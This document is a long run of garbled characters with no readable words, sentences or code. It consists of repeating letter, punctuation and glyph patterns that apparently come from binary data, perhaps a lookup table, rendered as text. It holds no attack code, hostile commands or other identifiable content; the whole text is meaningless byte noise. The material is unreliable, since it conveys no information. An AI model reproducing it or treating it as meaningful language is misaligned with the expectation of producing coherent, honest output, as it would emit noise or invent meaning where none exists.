k9k9k9k9k9wN99k!9k"9k#9k$9k%wN9k'k,k(9k)9k*9k+9S9k-9k.9k/9k09wN9k29k39k49k59k69k79k89k9k>k:k;9Rk<k=wN9wN9k?99k@9kBkokCkd9kDkEkJ9kFkG9kH9kI9wN9kK9kL9kM9kN9kO9kP9kQ9kRkS9kT9kUkV99kW9kX9kY9kZ9k[k\99k]9k^9k_k`99ka9kb9kc94/ke9kf99kgkh9ki9kj9kk9kl9km9wNknwN9kp9kqkwkr99kskt9ku9kv9S99kx9qkz9k{9k|kk}99k~9k9kk9k9k99k9k9k99zkkkkkkkkkk/kkkk7kkkkkkkkkkkkkkkkkkgkkkkkkkkkkkk˭kkNkkkkkkkkkkkkkkkk7kkJkkkkkkkkʠkkkkkkkkkkkkkkkkkkkkʯkkdkkkkkkkkkkkkkkJklxkl9klkl klklkl*llJllllʠl l <l ll lllllllllgllll*ll#ll lll!l"gl$l'l%l&l(l)l+l2l,l/l-l.7l0l1l3l6l4l5<l7l8l:lYl;lJl<lCl=l@l>l?lAlB<lDlGlElF7lHlIlKlRlLlOlMlNlPlQʠlSlVlTlUlWlX7lZlil[lbl\l_l]l^l`la7lclfldlelglh<ljlqlklnlllmdlolpNlrlulsltdlvlwlyllzll{ll|ll}ll~lll<llllllllllllllllllllllll//l//l/l/m/lllll/,/l//lll/v/l/v/lllllll/;/l/|/lll/-0/l/->/l/l/l//lllll/l/l/t/l/l/l/>/lll/l/l/ʑ/l//ll/*/llllllzlldllllllll9llllllllllllllllʠlllllllm(lmllllllllglmll<mmmmmmmmm m m m m mmmmmmmmmmm4|mm!mmmmJmm m"m%m#m$ʯm&m'm)m8m*m1m+m.m,m-vm/m0/m2m5m3m4ʠm6m7Jm9m@m:m=m;m<m>m?;mAmDmBmCʯmEmFʠmH|ymIs mJpmKnmLmmMmmNmpmOm^mPmWmQmTmRmS7mUmVmXm[mYmZdm\m]7m_mfm`mcmamb<mdmemgmmmhmimjmkmllmnmomqmmrmymsmvmtmu$mwmx7mzm}m{m|m~mmmmmmmmmmmmmmmʠmmmmmmmmmmmmmmmm<mmʠmmmmmmmmmmmmmmmmmmm9mmmmmmmmmmmmmmmm.Gmmmmmmmn mmmmmmmmmmmm7mmmmmmBmmmmmmmmmmmmmmʠmmmmmmmmmmmmmmdmm7mnmnmnnnnnnn7n n ʠn n+n nnnnnnnnnnnnnnnnn$nn!nn n"n#Jn%n(n&n'n)n*n,nn-nn.nn/n0n1n2ln3npn4n<n5ln6ln7ln8ln9ln:ln;ltln=tn>tn?tn@tnAtnBtnCtnDtnEtnFtnGtnHn\nItnJttnKnLtnMtnNtnOtnPtnQtnRtnStnTtnUtnVtnWttnXnYtnZttn[tn]tn^tn_tn`tnatnbtnctndtnetnftngtnhtnitnjttnktnlnmtnnttno tnqn~nrlnslntlnunylnvnwllnxylnzln{ln|n}+|Gln|Gn|Gn|Gn|Gn|Gn|Gn|Gn|Gn|Gn|G|Gnn|G|Gnn|G|Gnn|Gn|Gn|Gn|Gn|Gn|Gn|Gn|Gn|Gn|Gn|Gn|Gn|Gn|Gn|Gn|G9|GnnnnnnnngnnnnnnnnC^nnnn7nn no:nnnnnnnnnnnnnn7nnnn;nndnnnnnnnnnnnnnnʠnnnnnnnnnnnnnnnnnnn5nnnnnn7nnnnnnnnnono nonooogoooo oogo o o ooooo7oooooooooo+oo$oo!oo o"o#o%o(o&o'o)o*<o,o3o-o0o.o/o1o2o4o7o5o6o8o97o;oo<oo=oLo>oEo?oBo@oAoCoDoFoIoGoHoJoKoMoToNoQoOoPoRoSdoUooVoWoXoYoZo[o\o]o^o_o`oaobocodoeoofozogosohonoiok'^oj'^Jolomq`JHoooqop!orrotouoxovow'^oyXo{oo|oo}o~'nooـooooـPPoooJ|*Joooo'^oooooooooo<ooooooooooooooooonoooooooo7oo7ooooooopopopooooooooooooooooooooooooȺo:ooooooooooooooooo5l:opoopuopVop ooooooo5oopopoooooo5oppȂpppppȂ5p pp p p 5pppppɚpçpppppp77p77p7p7pp7p 77p!7p"p#p$p%p&p'p(p)p*p+p,p-pJp.p;p/p5p0p3p1p27p4p6p8Mp7ɩp9p:çɩp<pCp=p@p>p?rɩpApBM78pDpGpEpFrçpHpIшMpKpLpSpMpPpNpOç-:opQpR:oMpTpUpWpdpXpYpZp[p\p]p^p_p`papbpc5pepipfpgph5pjpkplpmpn5po5pp5pq5pr5ps5pt557pvpwpxppypzp{çp|p}p~pppppç`ppppppppppppp5ppppppȐppppppppp5çppppppppppppppppppppppppppppppppppdppppppppppʠppppQpppr pqpq6ppppppppppʯpp<ppppdppʠpppppppp9pppppppq'pqpqppqqqqqqqq q q q q qq qqqqqqqqqqqqqqqȺqqO"q!q"q#q$q%q&ɩq(q/q)q,q*q+q-q.q0q3q1q2<q4q5q7qeq8qVq9q@q:q=q;q<q>q?qAqSqBqCqDqEqFqGqHqIqJqKqLqMqNqOqPqQqRI=qTqU7qWq^qXq[qYqZgq\q]q_qbq`qaqcqd7qfquqgqnqhqkqiqjqlqm7qoqrqpqqqsqtJqvq}qwqzqxqyq{q|1q~qqq7qqdqqqqqqqqqqqqqqqqqqqqqq9qqqqqqqq<qqzqqqqqqqqqqqqqqqqqqqq<qqqqqqqqqqdqqqqqqqqqqqqqqqq9qqqqqqqqqqqqqq7qqqqqqqqqqqqqqqqqqqqqqqqgqgqgqgqgqgqgqgrgrgrgrgrgrgrgrgrgr g,gr rr rLr r-rrrrrrrr<rrrrrrrrrʠrr&r r#r!r"r$r%Jr'r*r(r)r+r,dr.r=r/r6r0r3r1r2dr4r5r7r:r8r9r;r<r>rEr?rBr@rArCrDrFrIrGrHdrJrKrMrlrNr]rOrVrPrSrQrRrTrUdrWrZrXrYr[r\r^rer_rbr`radrcrdrfrgrhrirjrkY_=rmr|rnrurorrrprq7rsrtdrvryrwrx˭rzr{dr}rr~rrrrrrrrr rrJrrrrrrrrrrrrrrrrrrrr7rrrrrrrrrrrgrrrrrrrr<rrrrrwrrrrrrrrrrrrJrrrrrr'^rrdrrrrrrrrrrdrrrrrrrrrrrrrrrrrrrrIrrrrrrrrrr9rrrrrrdrr7rsrsrr;sszssss*ss s z=s xSs wswswvsssssssssssssssss wos!s$s"s#s%s&s'еs(s)еs*ееs+s,us-tds.ss/sns0sOs1s@s2s9s3ееs4еs5еs6"s7s8е"еs:ееs;еs<еs="s>s?е"еsAsHsBееsCеsDеsE"sFsGе"еsIееsJеsKеsL"sMsNе"еsPs_sQsXsRееsSеsTеsU"sVsWе"еsYееsZеs[еs\ps]s^еpеs`sgsaееsbеscеsdpsesfеpеshееsiеsjеskpslsmеpеsosspssqs}srееssеstеsusvs{swsysxеpееszеps|еpеs~ееsеsеssssssеpееsеpsеpеsssееsеsеssssssе_\ееsе_\sе_\еsееsеsеssssssе_\ееsе_\sе_\еsssssееsеsеssssssе_\ееsе_\sе_\еsееsеsеssssssе_\ееsе_\sе_\еsеsееsеsеssssssе_\ееsе_\sе_\еst sssssssееsеsеs_kssе_kеsееsеsеs_kssе_kеsssееsеsеs_kssе_kеsееsеsеs_kssе_kеsssssееsеsеs_kssе_kеsееsеsеsUssеUеstsееsеsеsUttеUеtееtеtеtUttеUеt t=t t$t tt ееtеtеttttttеUееtеUtеUеtееtеtеttt"tt tеUееt!еUt#еUеt%t1t&ееt'еt(еt)t*t/t+t-t,еееt.еt0ееt2ееt3еt4еt5t6t;t7t9t8еееt:еt<ееt>tWt?tKt@ееtAеtBеtCtDtItEtGtFеееtHеtJееtLееtMеtNеtOtPtUtQtStRеееtTеtVееtXеtYееtZеt[еt\t]tbt^t`t_еееtaеtcееteutfttgtthtwtitptjееtkеtlеtmtntoееtqееtrеtsеtttutvееtxttyееtzеt{еt|t}t~ееtееtеtеtttееtttttееtеtеtttееtееtеtеtttееtttееtеtеtttееtееtеtеtttееtttttttееtеtеttttttеееtеtееtееtеtеttttttеееtеtееtttееtеtеttttttе_zееtе_ztе_zеtееtеtеttttttе_zееtе_ztе_zеtttttееtеtеttttttе_zееtе_ztе_zеtееtеtеttttttе_zееtе_ztе_zеtеtееtеtеttttttе_zееtе_ztе_zеuu@uu!uuuu uееuеuеu_u u е_еu ееu еuеu_uuе_еuuuееuеuеu_uuе_еuееuеuеu_uu е_еu"u1u#u*u$ееu%еu&еu'_u(u)е_еu+ееu,еu-еu.u/u0ееu2u9u3ееu4еu5еu6u7u8ееu:ееu;еu<еu=u>u?ееuAutuBu[uCuOuDееuEеuFеuGuHuMuIuKuJеееuLеuNееuPееuQеuRеuSuTuYuUuWuVеееuXеuZееu\uhu]ееu^еu_еu`uaufubuducе4ееueе4ugе4еuiееujеukеulumurunupuoе4ееuqе4usе4еuuuuvuuwееuxеuyеuzu{uu|u~u}е4ееuе4uе4еuееuеuеuuuuuuе4ееuе4uе4еuеuееuеuеuuuuuuе4ееuе4uе4еuvuv8uuuuuuuuuееuеuеuuuееuееuеuеuuuееuuuееuеuеuuuееuееuеuеuuuееuuuuuееuеuеuuuееuееuеuеuuuееuuuееuеuеuuuееuееuеuеuuuееuvuuuuuееuеuеuuuuuuеееuеuееuееuеuеuuuuuuеееuеuееuvuееuеuеuuvuvvеNEееvеNEvеNEеvееvеvеv v vv v v еNEееvеNEvеNEеvv+vvvееvеvеvvvvvvеNEееvеNEvеNEеv ееv!еv"еv#v$v)v%v'v&еNEееv(еNEv*еNEеv,еv-ееv.еv/еv0v1v6v2v4v3еNEееv5еNEv7еNEеv9vxv:vYv;vJv<vCv=ееv>еv?еv@44vAvBе44еvDееvEеvFеvG44vHvIе44еvKvRvLееvMеvNеvO44vPvQе44еvSееvTеvUеvV44vWvXе44еvZviv[vbv\ееv]еv^еv_44v`vaе44еvcееvdеveеvf_vgvhе_еvjvqvkееvlеvmеvn_vovpе_еvrееvsеvtеvu_vvvwе_еvyvvzvv{vv|ееv}еv~еvvvvvvе_ееvе_vе_еvееvеvеvvvvvvе_ееvе_vе_еvvvееvеvеvvvvvvе_ееvе_vе_еvееvеvеvvvvvvе_ееvе_vе_еvvvvvееvеvеvvvvvvе_ееvе_vе_еvееvеvеvvvvvvе_ееvе_vе_еvеvееvеvеvvvvvvе_ееvе_vе_еvеvwvvvvvvvееvеvеvPvvеPеvееvеvеvPvvеPеvvvееvеvеvPvvеPеvееvеvеvPvvеPеvwvvvееvеvеvPvvеPеvееwеwеwwwееww wееwеw еw w w ееwееwеwеwwwееwwHww/ww#wееwеwеwww!wwwеееw еw"ееw$ееw%еw&еw'w(w-w)w+w*еееw,еw.ееw0w<w1ееw2еw3еw4w5w:w6w8w7е_ееw9е_w;е_еw=ееw>еw?еw@wAwFwBwDwCе_ееwEе_wGе_еwIwbwJwVwKееwLеwMеwNwOwTwPwRwQе_ееwSе_wUе_еwWееwXеwYеwZw[w`w\w^w]е_ееw_е_waе_еwcеwdееweеwfеwgwhwmwiwkwjе_ееwlе_wnе_еwpwswqwrwtwu7wwwwxwwyw|wzw{w}w~7wwwwwwgwwwwwwwwwwww<wwwwwwwwwwwwww7wwwwwwwwwwww7wwQwwwwçwwwwwwwwwwdww<wwwwʯwwwwwwwwwwwwwwtwwwxwwwwwwwwww9wwwwwwʠww9wwwwwwՒww<wwwwwwwxwwwwwwwwdwxxxvxxxx xx xx x x xxxxʠxxxx4xx%xxxxxxxx7xx"x x!x#x$Jx&x-x'x*x(x)x+x,x.x1x/x07x2x3/x5xDx6x=x7x:x8x9x;x<x>xAx?x@dxBxCxExLxFxIxGxHxJxK3xMxPxNxO7xQxRxTyxUxxVxrxWxfxXx_xYx\xZx[dx]x^x`xcxaxb;xdxeL9xgxkxhxixjxlxoxmxn<xpxqxsxxtx{xuxxxvxwdxyxzx|xx}x~xxdxxxxxxxxbxxxx xxxyxyxxxxxxxxdxxxxJxxxxy^xyYxxxxxxxxxxxxxxxxxxxxxxxxxx5xxx-xyNxyxxxxxxxxxxȬxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxɩxxxxxxxx`xxxxxxxxxxxx-yy-yyMyyyyyyyy y y y y yyçTyyyyyyyyyy+yy#5y5y5yy5ry y!rry"rȬy$Ȭy%Ȭy&Ȭy'Ȭy(Ȭy)Ȭy*Ȭy,y-y.y/y0y1y2y3y4y5y6y7y8y9y:y;y<y=y>y?yHy@yDyAyByC5yEyF5yG5yIyJyKyL5ȬyOyPyXyQyRySyTyUyVyW75yZy[y\y]y_yxy`ypyaybycydyeyfygyhyiyjyk81ylymynyo581yqyrysytyuyvywȬyyyzy{y}y|5y~y-yyyryyryyyyyydyyеyyyydyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy;yy7yyyyyyʠyyyyyyyy7yyyydyyyyyyyyyyyyy*yyyyyyyygyyyyyyJyyyyyyyy7yyyyyyyydyzzzzzzzzzzzdz z z z 9z zzzzzzz<zzzzzzzzzz.z z'z!z$z"z#7z%z&z(z+z)z*z,z-z/z6z0z3z1z2z4z5z7z:z8z9z;z<ʠz>{wz?zz@zzAz`zBzQzCzJzDzGzEzFzHzI[zKzNzLzM/zOzPzRzYzSzVzTzUʠzWzXzZz]z[z\7z^z_zazpzbzizczfzdzezgzh9zjzmzkzlznzodzqzxzrzuzsztzvzwzyz|zzz{z}z~zzzzzzzzzzzzdzzzzzzzzzzzzzz<zzzzdzzzzzzzzzzdzzlzzzzzzzzzzzzzzzzzzzzzzz!zzzzzzzzNzzzzzzzz9z{zzzzzzzzzz7zz<zzzzʠzzzzʠʠzʠzzzzzzzzzzzzzz7z{zzzzzzzz/z{{{7{{{{ {{ {{ { { 9{{{{7{{ʠ{{X{{I{{{{{{{{{{"{ {!/{#{${%{&9{'{H{(9{)9{*9{+9{,9{-9{.9{/9{09{19{2{79{39{4{59{69wN9{8{@{9{<{:9{;9{9{=9{>9{?9wN9{A{E{B9{C9{D99{F9{G9{9{9{J{Q{K{N{L{M/{O{Pd{R{U{S{T9{V{W{Y{h{Z{a{[{^{\{]7{_{`{b{e{c{dd{f{g<{i{p{j{m{k{l<{n{o{q{t{r{s{u{v{x{{y{{z{{{{{|{{}{{~{{{<{{{{Q{{{{{{{{{{7{{{{{{d{{{{{{{{{{{{{{d{{d{{{{{{ʠ{{{{{{ʠ{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{7{{{{{{{{;{{{{{{{{{<{{{{{{{{g{|:{|{| {|{|||7||J|| ||*| | d| |||||||9||||9||||+||$||!|| ʠ|"|#|%|(|&|'9|)|*|,|3|-|0|.|/|1|2|4|7|5|6|8|9d|;|Z|<|K|=|D|>|A|?|@;|B|C.G|E|H|F|G|I|J9|L|S|M|P|N|O<|Q|R*|T|W|U|V|X|Y|[|j|\|c|]|`|^|_|a|b|d|g|e|f|h|i|k|r|l|o|m|n|p|qg|s|v|t|u |w|x<|z|{||}|}}|~|||||||||||||||7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7|7z7||||||<||||||8||||||||||||||||||ʯ||||||||||||||||||d||*|}||||||||||||||||||||||d||||||||*}}}} }}}}J}}<} } } } }}}}}}}}9}}}}}}}}} }c}!}C}"}1}#}*}$}'}%}&}(})d}+}.},}-}/}0}2}9}3}6}4}5g}7}8}:}@};}<}=}>//}?,/}A}B}D}S}E}L}F}I}G}Hd}J}K*}M}P}N}O<}Q}R}T}[}U}X}V}W<}Y}Z<}\}`}]}^}_}a}bJ}d}}e}w}f}p}g}m}h}i}j}k}l}n}o}q}t}r}s}u}v}x}}y}|}z}{}}}~}}}}ʠ}}}}}}}}}};}}<}}}}}}}}}}}}}}}}}}}}}~(}}}}}}}}}}}}}}<}}}}S=}}9}}}}}}ʠ}}*}}}}F}}g}}}}}}}};}}}}}}}}7}}}}}}}}}}}}}}}}}}~ }}}}}}}}}}ʠ}}}}}}d}~}}}}Ւ~~~~~~~~*~ ~~ ~~ ~~ ~7~~~~~~~~~~!~~~~~~ ~"~%~#~$~&~'~)~~*~~+~:~,~3~-~0~.~/7~1~29~4~7~5~6J~8~9~;~~<~?~=~>~@~A~B~C~U~D7~E7~F7~G77~H7~I~J7~K77~L7~M~N7~O77~P7~Q~R7~S77~T7~V7~W~~X7~Y7~Z~~[~v~\7~]7~^7~_7~`7~a~p~b~g7~c~d7~e7~f77~h~l~i7~j7~k77~m7~n7~o77~q7~r7~s7~t7~u77~w7~x7~y77~z~{7~|7~}77~~~7~7~77~7~7~77~~7~7~77~~7~7~77~7~7~7~7~7~7~7~7~7~77~~7~7~77~~77~~~~~~~~~~~~~~ʠ~~~~~~~~d~~~~~~B~~~~~~~~F~~~~~~~~~~~~~~~~+h~~<~~~~~~~~~~~~~~~~~~~~~*~~~~7~~7~~~~~~7~~~~~~~d$   J  ld! <"#%4&-'*()9+,.1/0<235y6978*:;<=77>7?@KA7B7C7D7E7F77GH7I77J7LgMV7NO77PQ7R77S7TU77hyW_7X7Y7Z[77\7]7^77`7ab7c7d77e7f7B7hiqj7k7l7m77n7o7p7r7s77tu7v7w7x77s z}{|d~9;35<dgd<@!ʯ((     F "1#*$'%&7()+.,-ʠ/07293645778/:=;<>?A`BQCJDGEFHIKNLMHOPRYSVTU9WX<Z][\^_apbicfdedghgjmkldnobqxrustdvwшy|z{}~g9ʠzZd94nd7<ʠʠʠd<dJ+     J1$! "#9%(&')*,;-4.1/023d58679:d<C=@>?AB*DGEFHI;KjL[MTNQOPRSUXVWYZ\c]`^_abdgefhidkzlsmpnoqr<twuvdxy<{|}~77<*xʠе9<7<*37d     nd ?!0")#&$%''(*-+,./182534679<:;=>7@RAKBHCDE*FG**IJʠLOMNJPQS]TZUVWXY[\^a_`dbcefugnhkijlmorpqʠstv}wzxy{|d~ʯd<<0 5@@@@@@@@@@@@@@@_@_@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@_@@@@@@@@_@@~?  __`` ` `0`?`N   `^`n`~````````aaa%a4aCaSacasaaaaa!0")#&$%aaab'(bb b0b?*-+,bOb_bob~./bbbb182534bbbb67c cc*c99<:;_cHcXcg=>cwcc5@_APBICFDEccccGHccddJMKLd$d3dBdQNOdadpddQXRUSTddddVWddde Y\Z[ee,e<eL]^e[eke{`oahbecdeeeefgeeeeiljkfff"f1mnf@fOf^fmpwqtrsf}ffuvffffx{yzffgg|}g%g4gCgRgbgqgggggggggh hh*h:hIhXhhhwhhhhhhhhiii"i0i@iOi_ini~_iiiiiiiijjj&j4jCjRjbjqjjjjjjjjjk kk(k7kGkW_kfkvkkkkkkkklll"l2lAlQlalqlllllllllm mm(m6mFmUmemtmmmmmmmm@@nnnn-n=nMn]<b    ;d# !"*$*%&'()+,-./ʠ1V2D3=475689:;<>A?@BCEOFLGHIJKzMNPSQRdTUWiXbY\Z[]^_`acfdeghjqknlmoprustvw9yz*{|}~l3S~~F97*<Rdad+ 7ʠ7    d9z# !"$'%&()+o,N-?.5/20134;6978:;<=> @GADBCEF7HKIJ<LMOcPZQWRSTUVJXY[^\]_`abdkehfgijlmnpqr|sytuvwxz{}~d(Kґzʠ,,,,,,,,,,,,,,,,lQ˭˭˭˭˭˭nm˭Ւ7/ly     ;2#˭ !"7$+%(&')*,/-.v013B4;5867b9:<?=>@ACJDGEFHI<KNLMOP<RSuTcU\VYWXZ[ʠ]`^_;abdnekfghij7lmzorpq7stdvw~x{yz|}</N$ 77<>7i_7& ~1t t t t  t   t   t t "t t  !#*$%&'()+,-./02]3H4>56789<:;=?@ABCFDEGISJKLMNQOPRTUVWX[YZ\^s_i`abcdgefhjklmnqoprtuvwxy|z{}rrrrrrrrrr>>>>>>>> > >  L-{{{{& !"#{$%{'()*{+,{.=/60123{45{789: ;< >E?@AB CD FGHI JK MxNcOYPQRSTWUV X Z[\]^a_` b dnefghiljk m opqrsvtu w yz{|}~      hhhhhhhhhh              !$"# % 'B()h*I+:,3-./0@12@4567@89@;B<=>?@@A@CDEF@GH@JYKRLMNO@PQ@STUV WX Za[\]^ _` bcde fg ijkulmnopsqr t vwxyz}{| ~ ||||||||||`3`3`3`3`3`3! `3`3  `3 `3 ZZZ Z"7#-$%&'(+)*Z,Z./012534Z6Z89:;<=@>?ZAZCDEdFUGNHIJKccLMccOPQRccSTccV]WXYZcc[\cc^_`accbcccetfmghijccklccnopq xrs xu|vwxy xz{ x}~ x x x x x xlRlRlRlRlRlRlRlRlRlRL4}K, #    //" !/#)$%&'(*+/-<.5/20134/6978:;;=D>A?@7BC;EHFGʠIJLMNUORPQSTdVYWXZ[\]9^_9`a9b9c9d9e99f9g9h9i9jk9l9m9n9o9p9q9r9s99t9uv99wx99yz99{9|}9~99wN999999999999999999999999999999 9999999>999999999999994/9999999q9999999Sʠ7b*е8 z< J   9/)"d !#&$%'(J*1+.,-/0<253467d9[:I;B<?=>@ACFDEGHJQKNLM<OPRUSTVWXYZ\n]g^a_`bcdefdhkijʠlm;ovpsqr9tu<wzxy{|~q;7+J$ ``0 V4x    x0  !"#͹%(&'7)*е,>-7.1/023456d8;9:<=?F@CABJDE7GJHI<KLMNOP{Q`R*S*T*U*V*W*X*Y*Z**[*\]*^**_*Da**bco*d*ef*g**hi**jk**lm**n*Dp*q*r**s*tu*v**w*xy**z)*|*}*~***********D*****D********>D******************D*7dʠ7<Jdе е  ˭  /7" !<#*$'%&()7+.,-/0123J5678Z9H:A;><=?@BECDʠFGISJMKLL9NOPQRzTWUV7XY;[}\c]`^_9ab/dzefghCiCjCkClCmCnCoCpCqCrCsCtCuCvCwCxCyC4C{|/~7+97еQ ##M#M#mV*Z    *d?%3ʯ !"#$&8'5()*+,-./01234q~6799<:;=>@OAHBECDFGILJKMNPZQTRSUVWXY[^\]_`abcgefugnhkijlmdorpqstv}wzxy{|~;7JN7R d<,N   . $! "#%(&'d)*+,-/>071423568;9:<=?K@HABCDF#ELH#G#IJ+LOMNPQSTvUdV]WZXY[\<^a_`bcelfighjkdmsnopqrStu<wxy|z{d}~еd<е9gʯ7PI 8 444 4   4444)"4 !4#$%&Vn'(Vn*1+,-.Vn/0Vn2345Vn67Vn9h:Q;F<=>?@CABVnDEVnGHIJKNLMVnOPVnR]STUVWZXY6[\6^_`abecd6fg6ijuklmnorpq6st6vwxyz}{|6~666##########HHHH HH    HHHH!"a#B$3%,&'()D*+D-./0D12D4;5678D9:D<=>?D@ADCRDKEFGHDIJDLMNO-PQ-SZTUVW-XY-[\]^-_`-bczdoefghiljk-mn-pqrstwuv-xy-{|}~9999999999uuuuuuuuuuVQVQVQVQVQVQ%VQVQ   VQ  VQLL" !L#$L&='2()*+,/-.L01L34567:89L;<L>?@ABCFDELGHLJMKLMlN]OVPQRSTUWXYZ[\^e_`abcdfghijkm|nuopqrstvwxyLz{L}~LLLLLLLL)      !"#&$%'(*A+6,-./031245789:;><=?@BCDEFGJHIKLNOPoQ`RYSTUV1%WX1%Z[\]1%^_1%ahbcde1%fg1%ijkl1%mn1%pqxrstu1%vw1%yz{|}~00000000007ʠb     d1е '!$"#*%&(+)*;,-./02A3:4756989;><=?@<BICFDEGHJMKLNOQRzShT^UXVWdYZ[\]˭_e`abcd7fgipjmklDnoqwrstuvxyе{|}~3k;,еHHHʠ<b{=<;d     30** **!*"*#*$*%*&*'*(*)***+*,*-*.*/*12J4:56789;<">V?D@GADBCEFHKIJLMNOPQRSTUVWX8YZ[|\i]b^`_çaçcgdferçrrXhXjskplnm5X55oMqrǞMtyuwvMxz{7}~ȐȬȐȬȬɊɊ]ɸ:ǬǞ:Ǟ:l:/ȐȞȂDO_D7|D7|7|:oɊi6D6D>L{Nç5Aç]ш8"XNǬ:7:Oɸ7Z ɚ]:57mш:_7:<)7]lL9l     9{>NOP7YAM6%A"jojkK/eNi/9 !"-#*$'%&O">kM()X7YOP+,656%.5/2017j`i34Nbl67j9:;<=>A?65@6%6%BC65ELFIGHgJKMSNOPQR͹TU<WlXeY_Z[\]^J`abcd3fighjkdmtnqoprsuxvwyz/|}~d3/3/(Kg;gʯ994h#     d* !"d$3%,&)'(d*+-0./124^5[6789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\]_e`abcdfgеijykrlomnpqsvtuJwx9z{~|}*;;(KBH7J/ d    7%F" !#$F&-'*()+,.1/023;56{7Y8J9@:=;<1>?ADBC,EFGHIKRLOMNPQSVTUWXZl[b\_]^`a/cidefghjkmtnqop*rsuxvwdyz|}~g<*dJе<z*е*     NEе447# !"$'%&g()+=,3-0./1274756;89:;<>E?B@AеCDJFIGHdJKMdN|OXPQRqSbT[UXVWYZ7\_]^`acjdgefhidknlmopеrs}twuvxyz{|~wddkdJ<dе;N  <   d9*# !"$'%&()+2,/-.01d364578:I;B<?=>@ACFDEGHdJQKNLMOPRUSTVW<YZ[}\k]d^a_`bcehfg/ijlsmpnoqr<tzuvwxy7{|~;dHHHg;7     ʠ! d"#$%7&7'7(7)7*7+7,7-7.7/70717273774577678W9H:A;><=ʠ?@BECDFGIPJMKLNOQTRSUVXmYcZ`[\]^_9abdgefhijklnuorpq+stvywxvz{7}~'dʯNBFJ7t/7е7J  33333333333333 3 333 3 3333333333333333A!$"#/%&9(j)H*9+2,/-.01364578;:A;><=?@BECDFGI[JQKNLMOPJRXSTUVWdYZ\c]`^_ab<dgefhiklxmqnoprust7vwyz}{|~(K{;ʠ;J,79)777 7777777777777L*77777777777777777L*777777777 7 777 7 77777777777FQB7777$ "!77#7%(&'(EL*/*+-4.1/023d5867d9:<[=L>E?B@ACDFIGHJKMTNQOPRS7UXVWYZ\k]d^a_`7bcehfgijlsmpno*qrdtxuvwyz|a}}~7еan7#[CVNm-çȐȬ7Ȃ`Ⱥ6DMDnȬ57T{ȞǞǞcç0F575ɚ75ç7lɩ     ȬX657r[=) 57!&"$#D%'(]*5+2,/-.8"801Ⱥ3467:89ш;<D>N?F@CAB>\81DEGKHIJ9{7mLMXOWPTQRSȬ9lUV8XYZ7|\]^e_b`acd]fgjhirklrr65nopqrxstvuǞ5wȺy~z|{:_T}rǞǬ/Ȟ<)ȞcMǞȺ6DǞAMXȬr>\X]ȺçOor:OǞçrȐrrp<. rXȐ``Xrr    ȂȐ:O9ǞȐr%" !#$Ȭ&+'*()55r,-Ȑ/01823645nǬ7Ȑ9:;`=a>O?@FABDC-ȂEȺGLHIJKMNPUQRSTǬVZWXY{ç[_\]^`ǞbcdhefgimjklȐrnorqrsztuvwyx``5{|}~ǞǞǞD@p&7ɩ5``Ǟç70FǞɩ`çǞ77Ǟ5çȬ5ǞçȬç5 5ççǞ7mlȐrç5çǞ5    ȬççȂç`DǞ`n #!"DȬ5$%7ç'[(A)5*/+,ç-.ȐǞ70312Ȑ54Ȑ6=7:89çǞ;<ç5>?@`5BPCJDGEF0FçHIçTȐKNLMçȐO`7]QWRUSTȐ-Vç5XYZç\t]h^c_a`ȐbçdfeȐg5ipjmklçnoǞ7mqrsɩççɚuv{wyxçz-|}~Ȑç`Ǟ-5Ȑç`MTçȬçȬ5Ǟrшç`rȞ5çȬȬȬȐ5ǞȬ`50F7Ǟ5çȂ-lȐ5rȬȐǞMȐççȐç5ç`7MçȐç`Ȑç`655`ȐȬ7rǞǞT   `  7ȬȐȂç77Ȃ("! Ȭ`Ȭçç#%$nǞ&'cç)0*-+,Ȭ`./r`1423756]T8U9G:@;=<Ȭ>?ç`ȬADBCǞȐr`EFǬǞ-HOILJKr5MN5ççPRQȐ-STȐVdW^X[YZȐ`\]Ȑ_a`7bcȂeifghçr`jmkl5ȺȬno7|]81qrstuv|wzxy`Ȑç{ȐǞ}~ȂȂȐçȬ-ç`T7]çT7ȐçȬ8"çTçççTɚǞȺȐçǞ7MǞ5Ǟ`7çȐ5c5ɩɩ55çTTçȂçȬȐr]c9lǞǞш57]7`ȬȬȐ`Ǟ5ç-7 `` çT   çȐçlǞǞçɚǞç`ȂX :!-"'#%$ȬT5Ⱥ&5M(*)T+,5Ǟ`r.4/201Ȭ3557689çTTǞ;J<C=@>?Ǟ87AB8"ȺȺDGEFȬ7ȐHI5ȐTKRLOMNɊɩPQAMSVTUcȐ>W5ȬYtZh[a\_]^`c`becdȬlfgǬiojmklȞȬnpqTrs`Muv|wzxynT5{Ȑ}Ȭ~Tç7-çTçȐȬȞ7|ççr:n6%5ç5-ɩççççǞȂ`7ȬT`{55`Ǟcç5Ⱥç5ȐȐȬǞ`7r5çǞççȬ77çȐç5Ȃd1 çȬȐr`Ȭ ȬȐǞ 7ç  7`0FTȬȬ%Ȑ``c "!cç#$ȐȺ&,'*()Ȟ+/-/.50r2M3A4;5867Ȑ9:T<>=?@`BHCEDȐFGǞrȂçILJKȐ`ȐȐNVORPQǞrȬcSTMUȂW^X[YZ5ɚM\]Ȭ_a`ȐbcɊɊ7|efzgohlij7|Nk7mnO_OopuqrD7st5vywxc`Ȭ{|~Ȭ}Ȭç5ç`ȐçȬȺçȂDȂȐ5M7mȬrȬnȐ:c`ȐȐr7m9{çȐ5çnȬ-7ǞȺȐȂçç5çǞȞ#5Ǟçn`ǞȬçnȂçç5r ȐǞ`TlçlȂ-ççȺȺ55    ȬȐɚǞȬȐ`ççȬȐ ç>!"Ȭc$^%@&2'-(+)*Ǟ,ç.1/05Ⱥ7mr394756rȬç8:=;<cç>?`APBICFDEr5GHrJMKL6D:OǞNOMrȬçQWRTçSnUVȬ-X[YZ`-\]-77_y`oahbecdȬȐfg-5ȺiljkçȺmnpsqȂrȂȂtvuȂçwx:`z{|}~ç``5ȐȐȂȐȬ7mçȬy5шr7mȬ-ȬȐǞç5cȬ`ȬȂçǞǞȂȂ5Ȃ::=6%:_T`çT`75MȐɚç7Ǟç5ȐȐn8ç5`ǞǞçnȬȐȐȂȐȐç7`5`ǞMçç @ &   cȬçNǞɚ-7ȐȬ`Ȭr 